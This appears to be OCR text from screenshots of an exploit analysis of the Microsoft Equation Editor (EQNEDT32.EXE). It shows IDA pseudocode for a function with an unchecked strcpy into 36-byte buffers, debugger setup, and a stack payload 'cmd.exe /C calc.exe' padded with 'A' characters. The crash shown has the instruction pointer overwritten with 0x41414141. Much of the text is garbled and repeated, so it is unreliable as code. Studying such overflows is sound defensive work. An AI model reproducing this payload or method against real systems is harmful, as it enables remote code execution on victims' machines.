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0x0041160

int  cdecl sub 41168F(char *SubStr, char *a2, char *a3)

i

char Str[36]; // [esp+Ch] [ebp-88h] BYREF
char v5[33]; // [esp+3@8h] [ebp-64h] BYREF
__intls6 v6; // [esp+51h] [ebp-43h]

char *v7; // [esp+5Bh] [ebp-3Ch]

int v8; // [esp+5Ch] [ebp-38h]

__intle v9; // [espt+68h] [ebp-34h]

int v1@; // [esp+64h] [ebp-38h]

__intls v11; // [espt+6Bh] [ebp-2Ch]

char String[36]; // [esp+6Ch] [ebp-28h] BYREF
int v13; // [esp+9@h] [ebp-4h]

LOWORD(v13) = -1;
LOWORD(vB) = -1;

vl = strlen(SubStr);
strepy(Btring, Substr);

_strupr(String);
vll = sub 426FAB();
LOWORD(v1@) = @;
while { w11 > (  intl6)vl® )
1
if ({ sub 4286FBB(v1@, v5) )
1
strepy(Str, v5);
if (v == 1 )

=]
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nt cdecl sub 41168F

char 5tTr
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(char ~supbstr, char *a2, char *a3)

ing 36 |;

Etrcpyfbtring, SubStr ) ;
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Global Flags

System F:.EgiE.tr_-,-" Kernel Flags Image File | Silent Process Exit |

Image: (TAB to refresh) EQNEDT32 exe Launch |
| Stop on exception | Dizable stack extension
|  Show loader snaps

Enable heap tail checking Enable sy=stem critical breaks
Enable heap free checking Dizable heap coalesce on free
Enable heap parameter checking

Enable heap validation on call Enable exception logging

Enable application verifier
Enable page heap

Enable heap tagging
Create user mode stack trace database Early critical section event creation

Stop on user mode exception

Enable heap tagging by DLL Dizable protected DLL verification
lgnore asserts

Load image u=ing large pages if possible

Debugger: CAlzersibsdministratoriDeskioplidad. 3lida.exe

Stack Backtrace: (Megs) |




EpY SR SxMEM otea

3 ] IDA - EQNEDT32.EXE.idb (EQNEDT32.EXE) C:WProgram Files (x86)#Common Files#Microsoft Shared

File Edit Jump Search Wiew Debugger Lumina Options Windows Help
Emie-w g B ) B-IEA® @mamp e r W Local Windows debugger |w
4 4 10 | | b NN

i W Library function [l Regular function Instruction Il Data Unexplored External symbol B Lurnina function

g D View-5 B @ Hex View-1 8 B Stuctures @ H

int  cdecl sub 41168F(char *Sub5tr, char *a2, char *a3)

! File Edit Wiew |Insert Format Tools Table Window Help

= e '
o 4, B4 Functions

Function name

Line 1678 of 1678
B Output

{

char Str[36]; // [esptCh] [ebp-88h] BYREF

__5S5open
___CJQESSEQEBDXﬁ ch?r w5[33]; // [esp+38h] [ebp-64h] BYREF
_westombs __intlé we; // [esp+51lh] [ebp-43h]
_wesncnt_0 char *v7; [/ [esp+58h] [ebp-3Ch]
—geteny int v8; // [espt5Ch] [ebp-38h]
_calloc __intle v9; // [esp+68h] [ebp-34h]
—__lseek int w1@; // [esp+64h] [ebp-3@h]
—fcloseall _ intls w11; // [esp+68h] [ebp-2Ch]
__cﬁ:IZE' " char String[36]; // [esp+6Ch] [ebp-28h] BYREF
—-mbsnbico int wv13:; // [esp+98h] [ebp-4h
———wtornb_environ [esp ] [ebp-4h]
——setmode
. . LOWORD(v13) = -1;

_;t_rulz_lrltzgfrgpareﬂtnngﬁ . LOWORD(VE) = -13
 REEETE L] v9 = strlen(SubStr});
e L strcpy(String, SubStr);
_Copy_environ ot _strupr(String);
_realloc : vll = ?Ub_‘;z‘—"m@()i
__mbschr LOWORD(v18) = @;
—_strdup L while ( w11 > (_ intl6)wle® )
_strlen
_strcpy [ ] if ( sub 420FBB(v1®, w5} )
RtlUnwind {
—-WCSsIcmp L strepy(Str, vs);
——strcmpi ™ if (w6 ==1)
__s:r:.lpr L] _strupr(str};

ST L] v? = strstr(str, SubStr};

if (w7 || (w7 = strstriStr. Strinedd 1= @Y &R (la? || lstrstriStr. ad

00011658 sub 41160F:17 (411658)

41168F:
41168F :
42@FAB:

restored microcode from idb
restored pseudocode from idb
using guessed type int sub_428FA8(void);

428FBB: using guessed type DWORD  cdecl sub 428FBB( intl6, DWORD);
DC
|;#'

AT: idle Down Disk: 41GB

xploi
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LOWORD(v13) = -1;
LOWORD(vE) = -1;

vl = strlen(SubStr);
repy(String, SubStr);
rupr(String);

= sub 428FAB( ) ;

(vld) = @;

ile ( w11 > (_ intl6)vl® )

® ooeoeBeee

f ( sub 428FBB(v1®, v5) )

F(ve==1)

strstr{5tr, SubS5tr});

7 || (v7 = strstr(Str, String)) != @) &8& (!a2 || !strstr(Str, a2)) )

Break Point
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strcpy(String, SubStr);
E+Fllnrr:+r-i o

A B0 =2kE
e o Vow- L R

Address Length Type String

B Stack[0000092CT:0018EF1C 0O0OOO0ZT : cmd, exe /C calc, exe AAAAAAALAAAAM AR
B Stack[0000092CT:0018EFFC  0O0OOQ2C : cmd, exe /C calc, exe AAAAAAAAAAAAAAAAAAALAAAA

W crnd




BA 0t

63 6D 64 2E 65 78 65 20 2F 63 20 63 61 6C 63 2E comd.exe-/c-calc.
B5 /& 65 286 41 41 41 41 41 41 41 41 41 41 41 41 e ALAAAAAALAAN
41 41 41 41 41 41 41 41 41 41 41 41

16 * 3 =
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J|1E 2|8 £4 4112FD
BR1EFABC sub 4112FD+51

BR1SEETC sub 438Ce8+12
HHH 2|8l 4




1 0p2a)

else
i
sub 428FBB(v13, v5);
strcpy(a3, vs);
return 1; |

A1160F St4J} ZLID4?
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430C12 et

UINT  cdecl sub 438C88(LPCSTR lpCmdlLine)
d

UINT result; // eax
CHAR Buffer[256]; // [esp+Ch] [ebp-1@8h] BYREF

result W|nExeC ndLine, Pu);

it (( re____ . _ _

L
sub 427688(96, Buffer);

return sub 418544(Buffer, 1);
I

return result;



WinkExec("cmd.exe /K netstat -an”. SW SHOW):

return result;
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430C12 &+

& D B- RN giap - >Xir W& Local Windows debugger v @ | B 7 B8

[=
=

on Instruction | Data Unexplored External

aug Wiew ®= B I CE2UH) CE x H ;
D& View-EIP wdocode-& x w General registers
3
:I B FAN BB000089 W
=8 ) EX @B1BFAFD &

EC 90000000
FOX @R18EE1Y &
FSI @A18EELIC &

M Modules

r'-.'1 FI r'-.'1 5 r'-.'1 T r'-.'1 -

Path
e wProaram Files (wARYRC

The instruction at 0x430C46 referenced memory at Ox41414141. The memory could not be read -> 41414141 (exc.code cO000005, tid 1856)
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